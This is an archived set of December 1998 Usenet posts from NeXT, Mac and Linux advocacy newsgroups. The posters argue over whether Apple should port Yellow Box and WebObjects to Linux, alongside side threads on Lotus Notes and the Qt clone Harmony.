Date: Mon, 28 Dec 1998 09:53:10 -0800
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <ch3-2612980916070001@1cust12.tnt2.redmond.wa.da.uu.net> <7665hu$r91$1@52-a-usw.rb1.blv.nwnexus.net> <ch3-2712981321400001@1cust107.tnt1.redmond.wa.da.uu.net> <766qsn$725$1@52-a-usw.rb1.blv.nwnexus.net>
Organization: EarthLink Network, Inc.
Message-ID: <ch3-2812980953100001@1cust30.tnt4.redmond.wa.da.uu.net>
>>And the point of that would be what?
>
>The point would be to avoid making yourself look intellectually dishonorable.
>
You hypocrite. You just did the same thing you accused me of.
--
regards : colin hand : mailto:ch3@earthlink.net
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Mon, 28 Dec 1998 12:21:36 -0600
Organization: Ericsson Data Services Americas
Message-ID: <3687CC30.8AC17F2E@ericsson.com>
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<3680e299.0@stan.astra.co.uk> <3681729D.6F3AFB05@nstar.net>
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mmalcolm crawford wrote:
[cut]
> however sadly it wouldn't achieve very much, other than perhaps constituting
> some sort of rather heart-warmingly seasonal 'Net hug.
I've already stated that there is demand for Apple's product. You can
either believe that or not; I don't know whether you're asking for
evidence of that, as Chuck Swiger was. In any case, I've identified a
market. The technological (traditionally, engineering/manufacturing
feasibility) aspect is fairly well-known; Chuck Swiger tells me that
there is no particular impossibility involved in a YB/Linux port.
So I guess we're left, from a traditional business case perspective,
with the cost issue. How much will it cost to perform and support, and
can the market support that number in sales,
OR (this "OR" is introduced by the unorthodox methods of free software)
Will the benefits (not named in this business case) of giving away
runtimes outweigh the aforementioned costs?
That's a question I cannot answer, as I've often said to you. It is a
question *you* cannot answer. I would love to know that Apple is
attempting to answer it.
Even so, I strongly suspect (and there is evidence to support this
supposition) that the answer is "yes" to all boolean questions above,
for much the same reasons that the answer is "yes" when the case is
applied to Windows NT.
Is there something more you want from me? I'm full of explanations.
[cut]
> Indeed; what is *significant* is that no-one else has managed to propose a
> business case.
Maybe you ought to make "painfully clear" what you're looking for. Who
knows? Maybe somebody can provide it. But as long as you continue to ask
for this elusive "business case" and one keeps throwing information and
arguments at you, there seems to be no resolution to your question.
Exasperating, ah...
[cut]
> I want to move past that stage and find some way that Apple could make money
> from this so that there's a chance it could become a reality. So how about
> you coming up with a constructive suggestion?
Wow. I mean, it never occured to you that Apple could charge money for
the runtimes? That is, of course, the traditional way of supporting
product development. I dunno, maybe it's just me.
[cut]
> > At least, I assumed so because that's the justification Colin Hand is
> > continually using to prop up the existence and longevity of YB itself.
> >
> I think you need to do a little more thinking. Hint: WebObjects runs on
> Solaris and HP-UX, but YB is not ported to either.
Then why correct me, and not Colin Hand? What is the case? Colin says
that PDO, EOF, and other components of YB are necessary ports for a WO
port. Is he incorrect?
MJP
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Mon, 28 Dec 1998 12:22:24 -0600
Organization: Ericsson Data Services Americas
Message-ID: <3687CC60.66685756@ericsson.com>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <3681729D.6F3AFB05@nstar.net> <36817c66.0@stan.astra.co.uk> <75u8ln$75u$1@nnrp1.dejanews.com> <ch3-2412981553350001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E5D1.320B0905@ericsson.com> <ch3-2612980916070001@1cust12.tnt2.redmond.wa.da.uu.net> <763hf5$2u1$1@nnrp1.dejanews.com> <ch3-2712981104400001@1cust11.tnt5.redmond.wa.da.uu.net>
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c hand wrote:
> Wow, you really are at the center of the Universe.
Given the context of "me", perhaps.
> (BTW, I wasn't aware that Apple had "ongoing difficulties.")
Well, jeez, that's the whole problem.
MJP
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
References: <3679789f.27413999@news2.asan.com> <MPG.10e33a4824365a27989803@news.itg.ti.com> <3679883C.5473F57@cable.a2000.nl> <36815279.11525103@news.magna.com.au> <75eg2i$mhu$1@vixen.cso.uiuc.edu> <75s9ja$l41$1@nnrp1.dejanews.com> <kWEg2.1043$fM1.31766@ptah.visi.com> <763rm5$anu$1@nnrp1.dejanews.com> <ENCh2.1404$fM1.40415@ptah.visi.com> <768340$h2v$1@nnrp1.dejanews.com>
From: bhurt@visi.com (Brian Hurt)
Message-ID: <qOPh2.103$TO5.916@ptah.visi.com>
Date: Mon, 28 Dec 1998 18:08:22 GMT
NNTP-Posting-Date: Mon, 28 Dec 1998 12:08:22 CDT
r.e.ballard@usa.net writes:
>In article <ENCh2.1404$fM1.40415@ptah.visi.com>,
> bhurt@visi.com (Brian Hurt) wrote:
>That would be a bit misleading. Notes has the ability to "index" certain
>specific fields. Furthermore, there is a text search engine that allows
>you to search a SINGLE database file. Notesscript is a minimally functional
>procedural language, providing neither the powerful text processing
>capabilities of PERL, nor the object oriented and system level capabilities
>of Java. It might be favorably compared to VBScript, but without ActiveX
>controls.
I may well have been mislead (intentionally, or more likely by me going
"oh- you mean it's similiar to this which I already understand" and
jumping to conculsions). You obviously more know about this than I do.
>For most experienced UNIX users, scripting, and learning a scripting language
>is as easy as looking at the syntax diagram and learning how to browse the
>man pages for the apprapriate library functions. With non-technical Linux
>users, there may be more of a market for Integration.
Integration is fundamentally a bad idea- wether between "related"
programs like a mail server and a mail client, or between unrelated
programs, like a mail server and a DB. A much better solution is
communication between the various programs using standardized protocols
(SMTP, IMAP, POP, SQL, etc), which allow you to mixmatch to get the best
fit for the situation at hand, AND retain flexibility to meet future
demands or adopt new technologies (two examples- you don't have to
replace pine or eudora to use the new IBM mail server, and you don't
have to abandon your Sybase DB server to switch from PowerBuilder to
Java (you also don't have to abandon your PB apps to deploy Java apps)).
The other comment I make is that the burgoning market for Notes admins
and Notes programmers (with associated certifications and training
programs) tells me that Lotus has failed, in whole or in part, to
deliver on the promise that integration makes things easier.
>I just heard yesterday on Bloomberg that IBM is trying to promote a
>proprietary replacement for Sendmail, and they are trying to get the Federal
>Government to force it's acceptance. Rather than fixing Sendmail and putting
>the fixes in GPL, IBM is trying to take control of the Internet by plugging
>in it's proprietary server with a proprietary protocol.
>The biggest concern is that Microsoft, IBM, and perhaps AOL will try to
>monopolize the Internet by subverting the GPL and IETF standards processes.
>Microsoft has already subverted the standards processes of W3C, forcing it
>to accept the integration of proprietary ActiveX controls into XML.
What might save us is that they have to work _together_. Microsoft
alone could easily implement a proprietary protocol (in fact they seem
to have a problem with non-proprietary protocols). Microsoft, IBM, and
AOL would almost need an open protocol to talk to each other- any one
holdout could veto a proprietary protocol for the triad (the other two
would still have to communicate with the third).
The danger is not so much collusion between an oligarchy, but a single
powerful player successfully "going it alone". It's not that the
oligarchy scenario isn't possible, it's just much less likely than the
"lone wolf" scenario.
Brian
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Mon, 28 Dec 1998 12:35:26 -0600
Organization: Ericsson Data Services Americas
Message-ID: <3687CF6E.FED9E87E@ericsson.com>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <3680e299.0@stan.astra.co.uk> <75u94d$1rg$1@52-a-usw.rb1.blv.nwnexus.net> <36867be6.0@stan.astra.co.uk> <7667i3$t8c$1@52-a-usw.rb1.blv.nwnexus.net> <ch3-2712981331200001@1cust79.tnt6.redmond.wa.da.uu.net> <3686F68B.79B4E731@nstar.net> <ch3-2812980957520001@1cust30.tnt4.redmond.wa.da.uu.net>
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c hand wrote:
> >You would do well to ask *yourself* that question.
>
> And that would assume that I don't already know the answer.
Ah, then you ask it *rhetorically*. Unsurprising, considering the
pattern of empty rhetoric we have seen here from you.
MJP
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Mon, 28 Dec 1998 12:32:45 -0600
Organization: Ericsson Data Services Americas
Message-ID: <3687CECD.24A3744D@ericsson.com>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net> <75u940$7ib$1@nnrp1.dejanews.com> <ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net> <75ugft$4h8$1@nnrp02.primenet.com> <ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E4E4.BAA11613@ericsson.com> <ch3-2412981717520001@1cust237.tnt7.redmond.wa.da.uu.net> <ch3-2412981740370001@1cust237.tnt7.redmond.wa.da.uu.net> <qhQg2.1009$J%3.603@news.rdc1.sdca.home.com> <ch3-2612980911200001@1cust12.tnt2.redmond.wa.da.uu.net> <763ppv$9aq$1@nnrp1.dejanews.com> <ch3-2712981058380001@1cust11.tnt5.redmond.wa.da.uu.net>
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c hand wrote:
> If only they'd converted to Linux?
"Convert"? Is this more of the religious imagery you seem to like so
much? Why is it that you sound *more* like the Linux zealots than I do?
Accident? You decide...
> Last I checked, there was no rule that said you can't be a tools vendor
> if you sell an OS. Apple seems to be positioning themselves to become
> a tools vendor for the two largest markets, Win* and Mac. In addition
> they are currently the number vendor for Enterprise application servers.
So why not the three largest markets?
> Where's the downfall?
The downfall is the operating system strategy. Apple repeatedly
demonstrates that its tools market has a fatal weakness: it cannot
operate in a manner that might damage its operating systems business.
Microsoft has the same weakness, in principle, but in practice its
operating systems business is so strong that both businesses end up
benefitting the other.
On the other hand, Apple's weak and miserable operating systems business
is severely crippled, in turn, by the even worse failure of its hardware
business. What's more, the isolated successes of the hardware business
(the iMac, for instance) do nothing to benefit either the operating
systems business or the tools business in the long run.
In short, Apple cannot move forward because it is unwilling to sacrifice
dead weight. As long as Apple insists on competing on a platform-centric
model, it will lose because its platform is
1) Not compelling
2) Isolated
If Apple were to follow what we might call a "layer-centric" model,
wherein Apple would sell software *or* hardware layers that leverage
existing products (or create new ones, even), it would have unbounded
horizons and could create *new* markets. Its software products are
1) Compelling
They *could* be
2) Ubiquitous
if Apple were willing to consider widening the cross-platform appeal of
its software tools.
Part of that strategy might include a Linux port of its software tools.
It might not, but I doubt the truth of that. The Linux port is a means
to an end, and an indicator that Apple is following business directions
that lead to new and profitable possibilities. Absent that, there's
little chance of long-term Apple success in any market.
MJP
From: ch3@earthlink.net.rem.ove.this (c hand)
Newsgroups: comp.sys.next.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Mon, 28 Dec 1998 10:12:59 -0800
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net> <75u940$7ib$1@nnrp1.dejanews.com> <ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net> <75ugft$4h8$1@nnrp02.primenet.com> <ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E4E4.BAA11613@ericsson.com> <ch3-2412981717520001@1cust237.tnt7.redmond.wa.da.uu.net> <ch3-2412981740370001@1cust237.tnt7.redmond.wa.da.uu.net> <qhQg2.1009$J%3.603@news.rdc1.sdca.home.com> <ch3-2612980911200001@1cust12.tnt2.redmond.wa.da.uu.net> <Xhch2.1346$J%3.960@news.rdc1.sdca.home.com> <ch3-2712981102440001@1cust11.tnt5.redmond.wa.da.uu.net> <01Eh2.2008$J%3.1015@news.rdc1.sdca.home.com>
Organization: EarthLink Network, Inc.
Message-ID: <ch3-2812981013010001@1cust30.tnt4.redmond.wa.da.uu.net>
>Apple is going to come out with dedicated solutions on MacOS X. Niche
>applications (ala WebObjects, ThinClients, etc...) that make MacOS X a tough
>product to beat once development and support services are added-on.
And what's wrong with that? And, why would they open the door for Linux
to do the same?
"When Apple focused on desktop publishing, Microsoft sold more spreadsheets
because desktop publishing was the Trojan horse that got the Mac into
Corporate America. So mission-critical custom apps is the tip of our arrow,
getting us into these major corporate accounts." --Steve Jobs, 1992 NeXTWORLD.
--
regards : colin hand : mailto:ch3@earthlink.net
From: ch3@earthlink.net.rem.ove.this (c hand)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple-M$: Linux Nightmare?
Date: Mon, 28 Dec 1998 10:15:17 -0800
References: <4CAA1839629CF88D.AAFA9FDB35C523FE.F1648BCC49C891AD@library-proxy.airnews.net> <ch3-1912981645150001@1cust46.tnt5.redmond.wa.da.uu.net> <355DF295B319F59B.94E11DFE49E8C514.F842B310545BE6E5@library-proxy.airnews.net> <ch3-2112980756110001@1cust208.tnt4.redmond.wa.da.uu.net> <slrn77t0pt.is1.jedi@dementia.mishnet> <75mspn$47v$1@reader1.reader.news.ozemail.net> <ch3-2212980922380001@1cust184.tnt1.redmond.wa.da.uu.net> <76172n$jqj$1@reader1.reader.news.ozemail.net> <ch3-2612980856320001@1cust12.tnt2.redmond.wa.da.uu.net> <766k8q$2bi$1@reader1.reader.news.ozemail.net>
Organization: EarthLink Network, Inc.
Message-ID: <ch3-2812981015180001@1cust30.tnt4.redmond.wa.da.uu.net>
>But if YB becomes available on Linux, its marketshare increases, so more
>YB programs become available. More available programs will mean more people
>interested in GNUstep, more resources, and sooner completion IMO.
Which is good for us, but probably not good for Apple. It means their
product is no longer needed, thus they lose that market after creating
it. Which is inevitable with all commercial software products on Linux.
How long until Oracle and Informix are cloned by Open Source?
> I agree some mac hardware buyers will buy Linux+Mac stuff instead.
Don't assume that Apple's only goal in life is to sell hardware. This
is a hardware company in transition to becoming a software company. They
just happen to make some of the world's greatest hardware.
--
regards : colin hand : mailto:ch3@earthlink.net
From: ch3@earthlink.net.rem.ove.this (c hand)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple-M$: Linux Nightmare?
Date: Mon, 28 Dec 1998 10:21:16 -0800
References: <4CAA1839629CF88D.AAFA9FDB35C523FE.F1648BCC49C891AD@library-proxy.airnews.net> <ch3-1912981645150001@1cust46.tnt5.redmond.wa.da.uu.net> <355DF295B319F59B.94E11DFE49E8C514.F842B310545BE6E5@library-proxy.airnews.net> <ch3-2112980756110001@1cust208.tnt4.redmond.wa.da.uu.net> <slrn77t0pt.is1.jedi@dementia.mishnet> <75mspn$47v$1@reader1.reader.news.ozemail.net> <ch3-2212980922380001@1cust184.tnt1.redmond.wa.da.uu.net> <76172n$jqj$1@reader1.reader.news.ozemail.net> <ch3-2612980856320001@1cust12.tnt2.redmond.wa.da.uu.net> <766k8q$2bi$1@reader1.reader.news.ozemail.net>
Organization: EarthLink Network, Inc.
Message-ID: <ch3-2812981021160001@1cust30.tnt4.redmond.wa.da.uu.net>
>Totally. But this is related to my earlier comment. Some people say Apple
>selling YB (or some Mac-Quicktime/YB/Carbon/GUI add on) will cut into
>apple's
>sales.
I think you actually might have something here. But, forget about Carbon.
Carbon is only for PPC Macs. Now, what I would suggest is that Linux advocates
get together and create a proposal to present to Apple, lobbying that Linux be
included under the next major revision of QuickTime(5) which is likely to be a
complete rewrite in YellowBox. Though QT is not likely to be the *entire* YB,
it would probably include a signficant subset; at least enough to become a
very productive API. Apple could then sell QuickTime/Linux for $30-50. Apple
would make money, and it fits into their business strategy of QuickTime as the
cross-platform standard for content creation.
--
regards : colin hand : mailto:ch3@earthlink.net
####################################################################
From: ch3@earthlink.net.rem.ove.this (c hand)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Mon, 28 Dec 1998 11:27:24 -0800
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net> <75u940$7ib$1@nnrp1.dejanews.com> <ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net> <75ugft$4h8$1@nnrp02.primenet.com> <ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E4E4.BAA11613@ericsson.com> <ch3-2412981717520001@1cust237.tnt7.redmond.wa.da.uu.net> <ch3-2412981740370001@1cust237.tnt7.redmond.wa.da.uu.net> <qhQg2.1009$J%3.603@news.rdc1.sdca.home.com> <ch3-2612980911200001@1cust12.tnt2.redmond.wa.da.uu.net> <763ppv$9aq$1@nnrp1.dejanews.com> <ch3-2712981058380001@1cust11.tnt5.redmond.wa.da.uu.net> <3687CECD.24A3744D@ericsson.com>
Organization: EarthLink Network, Inc.
Message-ID: <ch3-2812981127250001@1cust30.tnt4.redmond.wa.da.uu.net>
>"Convert"? Is this more of the religious imagery you seem to like so
>much? Why is it that you sound *more* like the Linux zealots than I do?
>Accident? You decide...
No accident. Apple has already aligned themselves with the BSDs. They
made that choice(chose their sect, so to say.) When I suggested that
you help Apple make their BSD open source, you scoffed at it, telling
me basically: Linux Rules, BSD sucks.
OpenMach achieves the same goal you seek, except with BSD rather than Linux.
Could it be you have a religios affiliation with Linux that can't let you
see that? Seriously, OpenMach is just what you're asking for, isn't it?
--
regards : colin hand : mailto:ch3@earthlink.net
From: ch3@earthlink.net.rem.ove.this (c hand)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Mon, 28 Dec 1998 11:11:56 -0800
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <3681729D.6F3AFB05@nstar.net> <36817c66.0@stan.astra.co.uk> <75u8ln$75u$1@nnrp1.dejanews.com> <36868276.0@stan.astra.co.uk> <3687CC30.8AC17F2E@ericsson.com>
Organization: EarthLink Network, Inc.
Message-ID: <ch3-2812981111570001@1cust30.tnt4.redmond.wa.da.uu.net>
>> I think you need to do a little more thinking. Hint: WebObjects runs on
>> Solaris and HP-UX, but YB is not ported to either.
>
>Then why correct me, and not Colin Hand? What is the case? Colin says
>that PDO, EOF, and other components of YB are necessary ports for a WO
>port. Is he incorrect?
I already explained this is a previous post on the subject. EOF and PDO
are separate products that just happen to be bundled with WOF. They're
also to be bundled with YB.
YB -- AppKit, FoundationKit, EOF, PDO, *Kits
WO -- FoundationKit, EOF, PDO, WOF
--
regards : colin hand : mailto:ch3@earthlink.net
From: ch3@earthlink.net.rem.ove.this (c hand)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Mon, 28 Dec 1998 11:18:57 -0800
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <3681729D.6F3AFB05@nstar.net> <36817c66.0@stan.astra.co.uk> <75u8ln$75u$1@nnrp1.dejanews.com> <ch3-2412981553350001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E5D1.320B0905@ericsson.com> <ch3-2612980916070001@1cust12.tnt2.redmond.wa.da.uu.net> <763hf5$2u1$1@nnrp1.dejanews.com> <ch3-2712981104400001@1cust11.tnt5.redmond.wa.da.uu.net> <3687CC60.66685756@ericsson.com>
Organization: EarthLink Network, Inc.
Message-ID: <ch3-2812981118590001@1cust30.tnt4.redmond.wa.da.uu.net>
>> (BTW, I wasn't aware that Apple had "ongoing difficulties.")
>
>Well, jeez, that's the whole problem.
But that's the thing Michael. You can't go and tell Apple that
they're going to die if they don't do a Linux port, if in fact
their bean counters tell them they're doing quite well and the
future prospects look even better.
I think some of us(myself included) tried that argument with OS X
for Intel(client.) Needless to say, Apple's not dying, nor will
they because they haven't done what you/I want.
--
regards : colin hand : mailto:ch3@earthlink.net
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple-M$: Linux Nightmare?
Date: Mon, 28 Dec 1998 13:43:26 -0600
Organization: Ericsson Data Services Americas
Message-ID: <3687DF5E.2F591E@ericsson.com>
References: <4CAA1839629CF88D.AAFA9FDB35C523FE.F1648BCC49C891AD@library-proxy.airnews.net> <ch3-1912981645150001@1cust46.tnt5.redmond.wa.da.uu.net> <355DF295B319F59B.94E11DFE49E8C514.F842B310545BE6E5@library-proxy.airnews.net> <ch3-2112980756110001@1cust208.tnt4.redmond.wa.da.uu.net> <slrn77t0pt.is1.jedi@dementia.mishnet> <75mspn$47v$1@reader1.reader.news.ozemail.net> <ch3-2212980922380001@1cust184.tnt1.redmond.wa.da.uu.net> <76172n$jqj$1@reader1.reader.news.ozemail.net> <ch3-2612980856320001@1cust12.tnt2.redmond.wa.da.uu.net> <766k8q$2bi$1@reader1.reader.news.ozemail.net> <ch3-2812981015180001@1cust30.tnt4.redmond.wa.da.uu.net>
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c hand wrote:
>
> >But if YB becomes available on Linux, its marketshare increases, so more
> >YB programs become available. More available programs will mean more people
> >interested in GNUstep, more resources, and sooner completion IMO.
>
> Which is good for us, but probably not good for Apple. It means their
> product is no longer needed, thus they lose that market after creating
> it. Which is inevitable with all commercial software products on Linux.
> How long until Oracle and Informix are cloned by Open Source?
There's a project in the Free Software community to write an Open
Source, freely-distributed clone of Qt, called Harmony. When I first
heard about it, I figured it would be the end of Troll Tech, who
distributes Qt. After all, why pay for Qt if it's freely-available?
When I thought about it more, however, I realized that Troll Tech is
probably thrilled that Harmony is out there. Not only is it an indicator
of Qt's popularity and usefulness, but as the poster above said, "more
available programs will mean more people interested in [Qt], more
resources...". Harmony will never replace the commercial version of Qt,
since commercial Qt has a commercial license, and has the latest
versions and patches, full technical support, a commercial sponsor, and
Windows sources. But Harmony *does* expand the appeal of Qt and provide
it with a solid, third-party implementation that demonstrates to users
and developers how important that library has become.
Apple could be in the same position, if they were willing to "Think
Different".
[cut]
MJP
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Mon, 28 Dec 1998 14:08:31 -0600
Organization: Ericsson Data Services Americas
Message-ID: <3687E53F.12465131@ericsson.com>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <3681729D.6F3AFB05@nstar.net> <36817c66.0@stan.astra.co.uk> <75u8ln$75u$1@nnrp1.dejanews.com> <36868276.0@stan.astra.co.uk> <3687CC30.8AC17F2E@ericsson.com> <ch3-2812981111570001@1cust30.tnt4.redmond.wa.da.uu.net>
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c hand wrote:
> I already explained this is a previous post on the subject. EOF and PDO
> are separate products that just happen to be bundled with WOF. They're
> also to be bundled with YB.
>
> YB -- AppKit, FoundationKit, EOF, PDO, *Kits
> WO -- FoundationKit, EOF, PDO, WOF
So, saying "YB is not ported to either" is only partially true: the
remainder of the work is AppKit, 3DKit, DriverKit, anything else?
MJP
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Mon, 28 Dec 1998 14:16:56 -0600
Organization: Ericsson Data Services Americas
Message-ID: <3687E738.FABC5929@ericsson.com>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net> <75u940$7ib$1@nnrp1.dejanews.com> <ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net> <75ugft$4h8$1@nnrp02.primenet.com> <ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E4E4.BAA11613@ericsson.com> <ch3-2412981717520001@1cust237.tnt7.redmond.wa.da.uu.net> <ch3-2412981740370001@1cust237.tnt7.redmond.wa.da.uu.net> <qhQg2.1009$J%3.603@news.rdc1.sdca.home.com> <ch3-2612980911200001@1cust12.tnt2.redmond.wa.da.uu.net> <763ppv$9aq$1@nnrp1.dejanews.com> <ch3-2712981058380001@1cust11.tnt5.redmond.wa.da.uu.net> <3687CECD.24A3744D@ericsson.com> <ch3-2812981127250001@1cust30.tnt4.redmond.wa.da.uu.net>
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c hand wrote:
> No accident. Apple has already aligned themselves with the BSDs. They
> made that choice(chose their sect, so to say.) When I suggested that
> you help Apple make their BSD open source, you scoffed at it, telling
> me basically: Linux Rules, BSD sucks.
No, I never said anything of the kind.
I'll call you out on this. Post the quote or retract the comment. Now.
> OpenMach achieves the same goal you seek, except with BSD rather than Linux.
> Could it be you have a religios affiliation with Linux that can't let you
> see that? Seriously, OpenMach is just what you're asking for, isn't it?
No, it's not! I say that for reasons that I have explained over and over
and over, but which you continue to CLIP in your responses (with no
'cut' marks, either). One person (not me) has already called you out on
this, now I say the same: why do you find it necessary to continually
ignore huge swaths of argumentation and explanation, then insist that
you have not seen them from me?
I'm very frustrated. You're being entirely unreasonable and I find that
this debate grows tedious. I currently see no reason to continue this
with you.
MJP
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Mon, 28 Dec 1998 14:13:23 -0600
Organization: Ericsson Data Services Americas
Message-ID: <3687E663.390619C4@ericsson.com>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <3681729D.6F3AFB05@nstar.net> <36817c66.0@stan.astra.co.uk> <75u8ln$75u$1@nnrp1.dejanews.com> <ch3-2412981553350001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E5D1.320B0905@ericsson.com> <ch3-2612980916070001@1cust12.tnt2.redmond.wa.da.uu.net> <763hf5$2u1$1@nnrp1.dejanews.com> <ch3-2712981104400001@1cust11.tnt5.redmond.wa.da.uu.net> <3687CC60.66685756@ericsson.com> <ch3-2812981118590001@1cust30.tnt4.redmond.wa.da.uu.net>
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c hand wrote:
> But that's the thing Michael. You can't go and tell Apple that
> they're going to die if they don't do a Linux port, if in fact
> their bean counters tell them they're doing quite well and the
> future prospects look even better.
>
> I think some of us(myself included) tried that argument with OS X
> for Intel(client.) Needless to say, Apple's not dying, nor will
> they because they haven't done what you/I want.
Some fates are worse than death. In any case, time will soon enough tell
whether this zombie can last. My feeling is that the day will soon come
that Apple envies the likes of Corel, whom you called a "desperate
company" a few days ago.
Maybe that's because Corel doesn't have "bean counters" telling them
they're doing quite well. Instead they have a CEO who's willing to try
new markets, not afraid to fail, but knows when to move on. What are
*you* telling Apple by arguing your side of this debate?
MJP
From: jedi@dementia.mishnet ()
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Mon, 28 Dec 1998 12:26:51 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn78fqcb.t7e.jedi@dementia.mishnet>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net> <75u940$7ib$1@nnrp1.dejanews.com> <ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net> <75ugft$4h8$1@nnrp02.primenet.com> <ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E4E4.BAA11613@ericsson.com> <ch3-2412981717520001@1cust237.tnt7.redmond.wa.da.uu.net> <75v93b$v55$1@nnrp1.dejanews.com> <ch3-2412982322100001@1cust237.tnt7.redmond.wa.da.uu.net> <3683696D.BD0633B3@nstar.net> <ch3-2612980907270001@1cust12.tnt2.redmond.wa.da.uu.net> <3685466B.3F311F53@nstar.net> <ch3-2712981055290001@1cust11.tnt5.redmond.wa.da.uu.net>
On Sun, 27 Dec 1998 10:55:28 -0800, c hand <ch3@earthlink.net.rem.ove.this> wrote:
>
>>> These customers actually PAY money for software.
>>
>>Oh, Colin. Do you know how many Linux customers PAY for Accelerated-X?
>>
>
>Which really compares to $700 for a Solaris seat, or $400 for a OpenStep
>license, or $25k-50k for a WO app server.
>
